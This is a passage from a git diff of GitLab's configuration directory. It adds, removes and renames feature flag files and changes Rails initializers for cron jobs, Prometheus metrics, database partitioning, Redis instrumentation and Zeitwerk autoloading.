-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/use_traversal_ids_for_ancestors.yml b/config/feature_flags/development/use_traversal_ids_for_ancestors.yml
index 57804957192..ae5f154a6bc 100644
--- a/config/feature_flags/development/use_traversal_ids_for_ancestors.yml
+++ b/config/feature_flags/development/use_traversal_ids_for_ancestors.yml
@@ -1,7 +1,7 @@
---
name: use_traversal_ids_for_ancestors
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57137
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334952
milestone: '13.12'
type: development
group: group::access
diff --git a/config/feature_flags/development/use_workhorse_s3_client.yml b/config/feature_flags/development/use_workhorse_s3_client.yml
deleted file mode 100644
index 3c34c420ebf..00000000000
--- a/config/feature_flags/development/use_workhorse_s3_client.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_workhorse_s3_client
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35480
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/user_refresh_from_replica_worker_uses_replica_db.yml b/config/feature_flags/development/user_refresh_from_replica_worker_uses_replica_db.yml
new file mode 100644
index 00000000000..6e3d8d315cd
--- /dev/null
+++ b/config/feature_flags/development/user_refresh_from_replica_worker_uses_replica_db.yml
@@ -0,0 +1,8 @@
+---
+name: user_refresh_from_replica_worker_uses_replica_db
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64276
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334766
+milestone: '14.1'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/web_hooks_rate_limit.yml b/config/feature_flags/development/web_hooks_rate_limit.yml
deleted file mode 100644
index 193d51bb250..00000000000
--- a/config/feature_flags/development/web_hooks_rate_limit.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: web_hooks_rate_limit
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61151
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330133
-milestone: '13.12'
-type: development
-group: group::ecosystem
-default_enabled: false
diff --git a/config/feature_flags/experiment/in_product_marketing_emails_experiment_percentage.yml b/config/feature_flags/experiment/in_product_marketing_emails_experiment_percentage.yml
deleted file mode 100644
index 8cb198a2102..00000000000
--- a/config/feature_flags/experiment/in_product_marketing_emails_experiment_percentage.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: in_product_marketing_emails_experiment_percentage
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50679
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/303
-milestone: "13.9"
-type: experiment
-group: group::activation
-default_enabled: false
diff --git a/config/feature_flags/experiment/invite_signup_page_interaction.yml b/config/feature_flags/experiment/invite_signup_page_interaction.yml
deleted file mode 100644
index 660a503fb3a..00000000000
--- a/config/feature_flags/experiment/invite_signup_page_interaction.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_signup_page_interaction
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60939
-rollout_issue_url: https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/379
-milestone: '13.12'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/experiment/new_project_readme_content.yml b/config/feature_flags/experiment/new_project_readme_content.yml
new file mode 100644
index 00000000000..16ad0204ec0
--- /dev/null
+++ b/config/feature_flags/experiment/new_project_readme_content.yml
@@ -0,0 +1,8 @@
+---
+name: new_project_readme_content
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323641
+milestone: '14.0'
+type: experiment
+group: group::adoption
+default_enabled: false
diff --git a/config/feature_flags/experiment/new_repo.yml b/config/feature_flags/experiment/new_repo.yml
deleted file mode 100644
index a39717538c1..00000000000
--- a/config/feature_flags/experiment/new_repo.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: new_repo
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55818
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285153
-milestone: '13.11'
-type: experiment
-group: group::adoption
-default_enabled: false
diff --git a/config/feature_flags/experiment/pipeline_empty_state_templates.yml b/config/feature_flags/experiment/pipeline_empty_state_templates.yml
deleted file mode 100644
index 465034db65c..00000000000
--- a/config/feature_flags/experiment/pipeline_empty_state_templates.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pipeline_empty_state_templates
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57286
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326299
-milestone: '13.11'
-type: experiment
-group: group::activation
-default_enabled: false
diff --git a/config/feature_flags/experiment/redirect_trial_user_to_feature.yml b/config/feature_flags/experiment/redirect_trial_user_to_feature.yml
new file mode 100644
index 00000000000..c653b886a04
--- /dev/null
+++ b/config/feature_flags/experiment/redirect_trial_user_to_feature.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_trial_user_to_feature
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65450
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335824
+milestone: '14.1'
+type: experiment
+group: group::conversion
+default_enabled: false
diff --git a/config/feature_flags/ops/ci_queueing_disaster_recovery.yml b/config/feature_flags/ops/ci_queueing_disaster_recovery.yml
deleted file mode 100644
index 6a31c29ec1d..00000000000
--- a/config/feature_flags/ops/ci_queueing_disaster_recovery.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_disaster_recovery
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56658
-rollout_issue_url:
-milestone: "13.12"
-type: ops
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_fair_scheduling.yml b/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_fair_scheduling.yml
new file mode 100644
index 00000000000..65c1e0cfb53
--- /dev/null
+++ b/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_fair_scheduling.yml
@@ -0,0 +1,8 @@
+---
+name: ci_queueing_disaster_recovery_disable_fair_scheduling
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56658
+rollout_issue_url:
+milestone: "13.12"
+type: ops
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_quota.yml b/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_quota.yml
new file mode 100644
index 00000000000..ebb55796aaa
--- /dev/null
+++ b/config/feature_flags/ops/ci_queueing_disaster_recovery_disable_quota.yml
@@ -0,0 +1,8 @@
+---
+name: ci_queueing_disaster_recovery_disable_quota
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56658
+rollout_issue_url:
+milestone: "13.12"
+type: ops
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/ops/dedicated_redis_trace_chunks.yml b/config/feature_flags/ops/dedicated_redis_trace_chunks.yml
deleted file mode 100644
index 1f3da11dfd5..00000000000
--- a/config/feature_flags/ops/dedicated_redis_trace_chunks.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: dedicated_redis_trace_chunks
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62938
-rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1096
-milestone: '14.0'
-type: ops
-group: team::Scalability
-default_enabled: false
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index c9b056ce956..f63c42be6ee 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -828,6 +828,11 @@ production: &base
#
sync_ssh_keys: false
+ # Retry ldap search connection if got empty results with specified response code(s)
+ #
+ # Ex. [80]
+ # retry_empty_result_with_codes: []
+
# LDAP attributes that GitLab will use to create an account for the LDAP user.
# The specified attribute can either be the attribute name as a string (e.g. 'mail'),
# or an array of attribute names to try in order (e.g. ['mail', 'email']).
@@ -1116,6 +1121,7 @@ production: &base
## Backup settings
backup:
path: "tmp/backups" # Relative paths are relative to Rails.root (default: tmp/backups/)
+ # gitaly_backup_path: # Path of the gitaly-backup binary (default: searches $PATH)
# archive_permissions: 0640 # Permissions for the resulting backup.tar file (default: 0600)
# keep_time: 604800 # default: 0 (forever) (in seconds)
# pg_schema: public # default: nil, it means that all schemas will be backed up
@@ -1431,6 +1437,7 @@ test:
secret_file: tmp/gitlab_workhorse_test_secret
backup:
path: tmp/tests/backups
+ gitaly_backup_path: tmp/tests/gitaly/_build/bin/gitaly-backup
pseudonymizer:
manifest: config/pseudonymizer.yml
upload:
diff --git a/config/initializers/0_migration_paths_additional.rb b/config/initializers/0_migration_paths_additional.rb
new file mode 100644
index 00000000000..bf0c36e9bb6
--- /dev/null
+++ b/config/initializers/0_migration_paths_additional.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# Because we use Gitlab::Database, which in turn uses prepend_mod_with,
+# we need this intializer to be after config/initializers/0_inject_enterprise_edition_module.rb.
+
+# Post deployment migrations are included by default. This file must be loaded
+# before other initializers as Rails may otherwise memoize a list of migrations
+# excluding the post deployment migrations.
+Gitlab::Database.add_post_migrate_path_to_rails
diff --git a/config/initializers/0_post_deployment_migrations.rb b/config/initializers/0_post_deployment_migrations.rb
deleted file mode 100644
index dabb82c8525..00000000000
--- a/config/initializers/0_post_deployment_migrations.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-# frozen_string_literal: true
-
-# Post deployment migrations are included by default. This file must be loaded
-# before other initializers as Rails may otherwise memoize a list of migrations
-# excluding the post deployment migrations.
-Gitlab::Database.add_post_migrate_path_to_rails
diff --git a/config/initializers/0_runtime_identify.rb b/config/initializers/0_runtime_identify.rb
deleted file mode 100644
index e6be19ffb79..00000000000
--- a/config/initializers/0_runtime_identify.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-begin
- Gitlab::Runtime.identify
-rescue Gitlab::Runtime::IdentificationError => e
- message = <<-NOTICE
- \n!! RUNTIME IDENTIFICATION FAILED: #{e}
- Runtime based configuration settings may not work properly.
- If you continue to see this error, please file an issue via
- https://gitlab.com/gitlab-org/gitlab/issues/new
- NOTICE
- Gitlab::AppLogger.error(message)
- Gitlab::ErrorTracking.track_exception(e)
-end
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index e311a364977..42c7063378b 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -222,7 +222,6 @@ Gitlab.ee do
Settings.gitlab['mirror_max_delay'] ||= 300
Settings.gitlab['mirror_max_capacity'] ||= 30
Settings.gitlab['mirror_capacity_threshold'] ||= 15
- Settings.gitlab['seat_link_enabled'] = true if Settings.gitlab['seat_link_enabled'].nil?
end
#
@@ -499,9 +498,9 @@ Settings.cron_jobs['jira_import_stuck_jira_import_jobs']['job_class'] = 'Gitlab:
Settings.cron_jobs['stuck_export_jobs_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['stuck_export_jobs_worker']['cron'] ||= '30 * * * *'
Settings.cron_jobs['stuck_export_jobs_worker']['job_class'] = 'StuckExportJobsWorker'
-Settings.cron_jobs['gitlab_usage_ping_worker'] ||= Settingslogic.new({})
-Settings.cron_jobs['gitlab_usage_ping_worker']['cron'] ||= nil # This is dynamically loaded in the sidekiq initializer
-Settings.cron_jobs['gitlab_usage_ping_worker']['job_class'] = 'GitlabUsagePingWorker'
+Settings.cron_jobs['gitlab_service_ping_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['gitlab_service_ping_worker']['cron'] ||= nil # This is dynamically loaded in the sidekiq initializer
+Settings.cron_jobs['gitlab_service_ping_worker']['job_class'] = 'GitlabServicePingWorker'
Settings.cron_jobs['stuck_merge_jobs_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['stuck_merge_jobs_worker']['cron'] ||= '0 */2 * * *'
Settings.cron_jobs['stuck_merge_jobs_worker']['job_class'] = 'StuckMergeJobsWorker'
@@ -541,9 +540,9 @@ Settings.cron_jobs['authorized_project_update_periodic_recalculate_worker']['job
Settings.cron_jobs['update_container_registry_info_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['update_container_registry_info_worker']['cron'] ||= '0 0 * * *'
Settings.cron_jobs['update_container_registry_info_worker']['job_class'] = 'UpdateContainerRegistryInfoWorker'
-Settings.cron_jobs['postgres_dynamic_partitions_creator'] ||= Settingslogic.new({})
-Settings.cron_jobs['postgres_dynamic_partitions_creator']['cron'] ||= '21 */6 * * *'
-Settings.cron_jobs['postgres_dynamic_partitions_creator']['job_class'] ||= 'PartitionCreationWorker'
+Settings.cron_jobs['postgres_dynamic_partitions_manager'] ||= Settingslogic.new({})
+Settings.cron_jobs['postgres_dynamic_partitions_manager']['cron'] ||= '21 */6 * * *'
+Settings.cron_jobs['postgres_dynamic_partitions_manager']['job_class'] ||= 'Database::PartitionManagementWorker'
Settings.cron_jobs['ci_platform_metrics_update_cron_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['ci_platform_metrics_update_cron_worker']['cron'] ||= '47 9 * * *'
Settings.cron_jobs['ci_platform_metrics_update_cron_worker']['job_class'] = 'CiPlatformMetricsUpdateCronWorker'
@@ -583,7 +582,7 @@ Settings.cron_jobs['batched_background_migrations_worker']['job_class'] = 'Datab
Gitlab.ee do
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 0 1 * *'
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 1 * * *'
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['job_class'] = 'Analytics::DevopsAdoption::CreateAllSnapshotsWorker'
Settings.cron_jobs['active_user_count_threshold_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['active_user_count_threshold_worker']['cron'] ||= '0 12 * * *'
@@ -642,6 +641,9 @@ Gitlab.ee do
Settings.cron_jobs['incident_management_persist_oncall_rotation_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['incident_management_persist_oncall_rotation_worker']['cron'] ||= '*/5 * * * *'
Settings.cron_jobs['incident_management_persist_oncall_rotation_worker']['job_class'] = 'IncidentManagement::OncallRotations::PersistAllRotationsShiftsJob'
+ Settings.cron_jobs['incident_management_schedule_escalation_check_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['incident_management_schedule_escalation_check_worker']['cron'] ||= '*/1 * * * *'
+ Settings.cron_jobs['incident_management_schedule_escalation_check_worker']['job_class'] = 'IncidentManagement::PendingEscalations::ScheduleCheckCronWorker'
Settings.cron_jobs['import_software_licenses_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['import_software_licenses_worker']['cron'] ||= '0 3 * * 0'
Settings.cron_jobs['import_software_licenses_worker']['job_class'] = 'ImportSoftwareLicensesWorker'
@@ -791,6 +793,7 @@ Settings.backup['upload']['multipart_chunk_size'] ||= 104857600
Settings.backup['upload']['encryption'] ||= nil
Settings.backup['upload']['encryption_key'] ||= ENV['GITLAB_BACKUP_ENCRYPTION_KEY']
Settings.backup['upload']['storage_class'] ||= nil
+Settings.backup['gitaly_backup_path'] ||= Gitlab::Utils.which('gitaly-backup')
#
# Pseudonymizer
@@ -915,13 +918,8 @@ Settings.monitoring.web_exporter['port'] ||= 8083
# Prometheus settings
#
Settings['prometheus'] ||= Settingslogic.new({})
-# TODO: Remove listen_address and enable in GitLab 14.0 and set default value
-# of server_address to be nil and enabled to be false -
-# https://gitlab.com/gitlab-org/gitlab/-/issues/296022
-Settings.prometheus['enable'] ||= false
-Settings.prometheus['listen_address'] ||= nil
-Settings.prometheus['enabled'] = Settings.prometheus['enable'] if Settings.prometheus['enabled'].nil?
-Settings.prometheus['server_address'] ||= Settings.prometheus['listen_address']
+Settings.prometheus['enabled'] ||= false
+Settings.prometheus['server_address'] ||= nil
#
# Shutdown settings
diff --git a/config/initializers/7_prometheus_metrics.rb b/config/initializers/7_prometheus_metrics.rb
index 8dee21016f9..fc69ae7b077 100644
--- a/config/initializers/7_prometheus_metrics.rb
+++ b/config/initializers/7_prometheus_metrics.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-require 'prometheus/client'
-
# Keep separate directories for separate processes
def prometheus_default_multiproc_dir
return unless Rails.env.development? || Rails.env.test?
@@ -15,14 +13,14 @@ def prometheus_default_multiproc_dir
end
end
-Prometheus::Client.configure do |config|
+::Prometheus::Client.configure do |config|
config.logger = Gitlab::AppLogger
config.initial_mmap_file_size = 4 * 1024
config.multiprocess_files_dir = ENV['prometheus_multiproc_dir'] || prometheus_default_multiproc_dir
- config.pid_provider = Prometheus::PidProvider.method(:worker_id)
+ config.pid_provider = ::Prometheus::PidProvider.method(:worker_id)
end
Gitlab::Application.configure do |config|
@@ -43,7 +41,7 @@ if !Rails.env.test? && Gitlab::Metrics.prometheus_metrics_enabled?
# Thus, we order these events to run `reinitialize_on_pid_change` with `force: true` first.
Gitlab::Cluster::LifecycleEvents.on_master_start do
# Ensure that stale Prometheus metrics don't accumulate over time
- Prometheus::CleanupMultiprocDirService.new.execute
+ ::Prometheus::CleanupMultiprocDirService.new.execute
::Prometheus::Client.reinitialize_on_pid_change(force: true)
@@ -51,7 +49,7 @@ if !Rails.env.test? && Gitlab::Metrics.prometheus_metrics_enabled?
Gitlab::Metrics::Samplers::PumaSampler.instance.start
end
- Gitlab::Metrics.gauge(:deployments, 'GitLab Version', {}, :max).set({ version: Gitlab::VERSION }, 1)
+ Gitlab::Metrics.gauge(:deployments, 'GitLab Version', {}, :max).set({ version: Gitlab::VERSION, revision: Gitlab.revision }, 1)
unless Gitlab::Runtime.sidekiq?
Gitlab::Metrics::RequestsRackMiddleware.initialize_metrics
@@ -64,7 +62,7 @@ if !Rails.env.test? && Gitlab::Metrics.prometheus_metrics_enabled?
end
Gitlab::Cluster::LifecycleEvents.on_worker_start do
- defined?(::Prometheus::Client.reinitialize_on_pid_change) && Prometheus::Client.reinitialize_on_pid_change
+ defined?(::Prometheus::Client.reinitialize_on_pid_change) && ::Prometheus::Client.reinitialize_on_pid_change
Gitlab::Metrics::Samplers::RubySampler.initialize_instance.start
Gitlab::Metrics::Samplers::DatabaseSampler.initialize_instance.start
diff --git a/config/initializers/7_redis.rb b/config/initializers/7_redis.rb
index fe37dfd7579..84aa231089b 100644
--- a/config/initializers/7_redis.rb
+++ b/config/initializers/7_redis.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+Redis::Client.prepend(Gitlab::Instrumentation::RedisInterceptor)
+
# Make sure we initialize a Redis connection pool before multi-threaded
# execution starts by
# 1. Sidekiq
diff --git a/config/initializers/9_runtime_identify.rb b/config/initializers/9_runtime_identify.rb
new file mode 100644
index 00000000000..c5efc9b17cb
--- /dev/null
+++ b/config/initializers/9_runtime_identify.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+begin
+ Gitlab::Runtime.identify
+rescue Gitlab::Runtime::IdentificationError => e
+ message = <<-NOTICE
+ \n!! RUNTIME IDENTIFICATION FAILED: #{e}
+ Runtime based configuration settings may not work properly.
+ If you continue to see this error, please file an issue via
+ https://gitlab.com/gitlab-org/gitlab/-/issues/new
+ NOTICE
+ Gitlab::AppLogger.error(message)
+ Gitlab::ErrorTracking.track_exception(e)
+end
diff --git a/config/initializers/active_record_build_select.rb b/config/initializers/active_record_build_select.rb
index ab5a872cac6..48f1b1ee407 100644
--- a/config/initializers/active_record_build_select.rb
+++ b/config/initializers/active_record_build_select.rb
@@ -9,6 +9,10 @@
# statement cache. If a different migration is then run and one of these columns is
# removed in the meantime, the query is invalid.
+ActiveRecord::Base.class_eval do
+ class_attribute :enumerate_columns_in_select_statements
+end
+
module ActiveRecord
module QueryMethods
private
@@ -16,6 +20,8 @@ module ActiveRecord
def build_select(arel)
if select_values.any?
arel.project(*arel_columns(select_values.uniq))
+ elsif klass.enumerate_columns_in_select_statements
+ arel.project(*klass.column_names.map { |field| table[field] })
else
arel.project(@klass.arel_table[Arel.star])
end
diff --git a/config/initializers/active_record_force_reconnects.rb b/config/initializers/active_record_force_reconnects.rb
index 73dfaf5e121..ff264a55ad2 100644
--- a/config/initializers/active_record_force_reconnects.rb
+++ b/config/initializers/active_record_force_reconnects.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
Gitlab::Database::ConnectionTimer.configure do |config|
- config.interval = Rails.application.config_for(:database)[:force_reconnect_interval]
+ configuration_hash = ActiveRecord::Base.configurations.find_db_config(Rails.env).configuration_hash
+ config.interval = configuration_hash[:force_reconnect_interval]
end
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::ForceDisconnectableMixin)
diff --git a/config/initializers/asciidoctor_patch.rb b/config/initializers/asciidoctor_patch.rb
deleted file mode 100644
index b7da50db77c..00000000000
--- a/config/initializers/asciidoctor_patch.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-# Ensure that locked attributes can not be changed using a counter.
-# TODO: this can be removed once `asciidoctor` gem is > 2.0.12
-# and https://github.com/asciidoctor/asciidoctor/issues/3939 is merged
-module Asciidoctor
- module DocumentPatch
- def counter(name, seed = nil)
- return @parent_document.counter(name, seed) if @parent_document # rubocop: disable Gitlab/ModuleWithInstanceVariables
-
- unless attribute_locked? name
- super
- end
- end
- end
-end
-
-class Asciidoctor::Document
- prepend Asciidoctor::DocumentPatch
-end
diff --git a/config/initializers/attr_encrypted_no_db_connection.rb b/config/initializers/attr_encrypted_no_db_connection.rb
index f8d0effbbad..91eef7d0a5c 100644
--- a/config/initializers/attr_encrypted_no_db_connection.rb
+++ b/config/initializers/attr_encrypted_no_db_connection.rb
@@ -27,6 +27,22 @@ module AttrEncrypted
AttrEncrypted.instance_method(:attribute_instance_methods_as_symbols).bind(self).call
end
end
+
+ protected
+
+ # The attr_encrypted gem is not actively maintained
+ # At the same time it contains the code that raises kwargs deprecation warnings:
+ # https://github.com/attr-encrypted/attr_encrypted/blob/master/lib/attr_encrypted/adapters/active_record.rb#L65
+ #
+ def attr_encrypted(*attrs)
+ super
+
+ attr = attrs.first
+
+ redefine_method(:"#{attr}_changed?") do |**options|
+ attribute_changed?(attr, **options)
+ end
+ end
end
end
end
diff --git a/config/initializers/check_decomposition_database_config.rb b/config/initializers/check_decomposition_database_config.rb
new file mode 100644
index 00000000000..f32c72efa75
--- /dev/null
+++ b/config/initializers/check_decomposition_database_config.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+ci_db_config = Gitlab::Application.config.database_configuration[Rails.env]["ci"]
+
+if ci_db_config.present?
+ raise "migrations_paths setting for ci database must be `db/ci_migrate`" unless ci_db_config["migrations_paths"] == 'db/ci_migrate'
+end
diff --git a/config/initializers/gitlab_experiment.rb b/config/initializers/gitlab_experiment.rb
index 055979bb66b..40c706ea922 100644
--- a/config/initializers/gitlab_experiment.rb
+++ b/config/initializers/gitlab_experiment.rb
@@ -2,16 +2,15 @@
Gitlab::Experiment.configure do |config|
config.base_class = 'ApplicationExperiment'
+ config.mount_at = '/-/experiment'
config.cache = Gitlab::Experiment::Cache::RedisHashStore.new(
pool: ->(&block) { Gitlab::Redis::SharedState.with { |redis| block.call(redis) } }
)
-
- # TODO: This will be deprecated as of v0.6.0, but needs to stay intact for
- # actively running experiments until a versioning concept is put in place to
- # enable migrating into the new SHA2 strategy.
- config.context_hash_strategy = lambda do |source, seed|
- source = source.keys + source.values if source.is_a?(Hash)
- data = Array(source).map { |v| (v.respond_to?(:to_global_id) ? v.to_global_id : v).to_s }
- Digest::MD5.hexdigest(data.unshift(seed).join('|'))
+ config.tracking_behavior = lambda do |action, event_args|
+ Gitlab::Tracking.event(name, action.to_s, **event_args.merge(
+ context: (event_args[:context] || []) << SnowplowTracker::SelfDescribingJson.new(
+ 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0', signature
+ )
+ ))
end
end
diff --git a/config/initializers/global_id.rb b/config/initializers/global_id.rb
index 8f1b8f2aeeb..c3ab9f10c08 100644
--- a/config/initializers/global_id.rb
+++ b/config/initializers/global_id.rb
@@ -1,3 +1,3 @@
# frozen_string_literal: true
-GlobalID.prepend(Gitlab::Patch::GlobalID)
+GlobalID.prepend(Gitlab::Patch::GlobalId)
diff --git a/config/initializers/postgres_partitioning.rb b/config/initializers/postgres_partitioning.rb
index 787e46c2405..d4be1e7670d 100644
--- a/config/initializers/postgres_partitioning.rb
+++ b/config/initializers/postgres_partitioning.rb
@@ -3,11 +3,15 @@
# Make sure we have loaded partitioned models here
# (even with eager loading disabled).
-Gitlab::Database::Partitioning::PartitionCreator.register(AuditEvent)
-Gitlab::Database::Partitioning::PartitionCreator.register(WebHookLog)
+Gitlab::Database::Partitioning::PartitionManager.register(AuditEvent)
+Gitlab::Database::Partitioning::PartitionManager.register(WebHookLog)
+
+if Gitlab.ee?
+ Gitlab::Database::Partitioning::PartitionManager.register(IncidentManagement::PendingEscalations::Alert)
+end
begin
- Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions unless ENV['DISABLE_POSTGRES_PARTITION_CREATION_ON_STARTUP']
+ Gitlab::Database::Partitioning::PartitionManager.new.sync_partitions unless ENV['DISABLE_POSTGRES_PARTITION_CREATION_ON_STARTUP']
rescue ActiveRecord::ActiveRecordError, PG::Error
# ignore - happens when Rake tasks yet have to create a database, e.g. for testing
end
diff --git a/config/initializers/rspec_profiling.rb b/config/initializers/rspec_profiling.rb
index 1288fad8a94..5edea6489ed 100644
--- a/config/initializers/rspec_profiling.rb
+++ b/config/initializers/rspec_profiling.rb
@@ -61,7 +61,7 @@ RspecProfiling.configure do |config|
RspecProfiling::Run.prepend(RspecProfilingExt::Run)
config.collector = RspecProfilingExt::Collectors::CSVWithTimestamps
config.csv_path = -> do
- prefix = "#{ENV['CI_JOB_NAME']}-".gsub(/[ \/]/, '-') if ENV['CI_JOB_NAME']
+ prefix = "#{ENV['CI_JOB_NAME']}-".gsub(%r{[ /]}, '-') if ENV['CI_JOB_NAME']
"rspec_profiling/#{prefix}#{Time.now.to_i}-#{SecureRandom.hex(8)}-rspec-data.csv"
end
end
diff --git a/config/initializers/zz_metrics.rb b/config/initializers/zz_metrics.rb
index aaf019f6d27..e352ff5090a 100644
--- a/config/initializers/zz_metrics.rb
+++ b/config/initializers/zz_metrics.rb
@@ -149,7 +149,15 @@ if Gitlab::Metrics.enabled? && !Rails.env.test? && !(Rails.env.development? && d
require_dependency 'gitlab/metrics/subscribers/rails_cache'
Gitlab::Application.configure do |config|
- config.middleware.use(Gitlab::Metrics::RackMiddleware)
+ # We want to track certain metrics during the Load Balancing host resolving process.
+ # Because of that, we need to have metrics code available earlier for Load Balancing.
+ if Gitlab::Database::LoadBalancing.enable?
+ config.middleware.insert_before Gitlab::Database::LoadBalancing::RackMiddleware,
+ Gitlab::Metrics::RackMiddleware
+ else
+ config.middleware.use(Gitlab::Metrics::RackMiddleware)
+ end
+
config.middleware.use(Gitlab::Middleware::RailsQueueDuration)
config.middleware.use(Gitlab::Metrics::ElasticsearchRackMiddleware)
end
diff --git a/config/initializers_before_autoloader/004_zeitwerk.rb b/config/initializers_before_autoloader/004_zeitwerk.rb
new file mode 100644
index 00000000000..18dfa2e9f40
--- /dev/null
+++ b/config/initializers_before_autoloader/004_zeitwerk.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+Rails.autoloaders.each do |autoloader|
+ # We need to ignore these since these are non-Ruby files
+ # that do not define Ruby classes / modules
+ autoloader.ignore(Rails.root.join('lib/support'))
+
+ # Ignore generators since these are loaded manually by Rails
+ # https://github.com/rails/rails/blob/v6.1.3.2/railties/lib/rails/command/behavior.rb#L56-L65
+ autoloader.ignore(Rails.root.join('lib/generators'))
+ autoloader.ignore(Rails.root.join('ee/lib/generators')) if Gitlab.ee?
+
+ # Mailer previews are also loaded manually by Rails
+ # https://github.com/rails/rails/blob/v6.1.3.2/actionmailer/lib/action_mailer/preview.rb#L121-L125
+ autoloader.ignore(Rails.root.join('app/mailers/previews'))
+ autoloader.ignore(Rails.root.join('ee/app/mailers/previews')) if Gitlab.ee?
+
+ autoloader.inflector.inflect(
+ 'api' => 'API',
+ 'api_authentication' => 'APIAuthentication',
+ 'api_guard' => 'APIGuard',
+ 'group_api_compatibility' => 'GroupAPICompatibility',
+ 'project_api_compatibility' => 'ProjectAPICompatibility',
+ 'ast' => 'AST',
+ 'cte' => 'CTE',
+ 'recursive_cte' => 'RecursiveCTE',
+ 'cidr' => 'CIDR',
+ 'cli' => 'CLI',
+ 'dn' => 'DN',
+ 'global_id_type' => 'GlobalIDType',
+ 'global_id_compatibility' => 'GlobalIDCompatibility',
+ 'hll' => 'HLL',
+ 'hll_redis_counter' => 'HLLRedisCounter',
+ 'redis_hll_metric' => 'RedisHLLMetric',
+ 'hmac_token' => 'HMACToken',
+ 'html' => 'HTML',
+ 'html_parser' => 'HTMLParser',
+ 'html_gitlab' => 'HTMLGitlab',
+ 'http' => 'HTTP',
+ 'http_connection_adapter' => 'HTTPConnectionAdapter',
+ 'http_clone_enabled_check' => 'HTTPCloneEnabledCheck',
+ 'hangouts_chat_http_override' => 'HangoutsChatHTTPOverride',
+ 'chunked_io' => 'ChunkedIO',
+ 'http_io' => 'HttpIO',
+ 'json_formatter' => 'JSONFormatter',
+ 'json_web_token' => 'JSONWebToken',
+ 'as_json' => 'AsJSON',
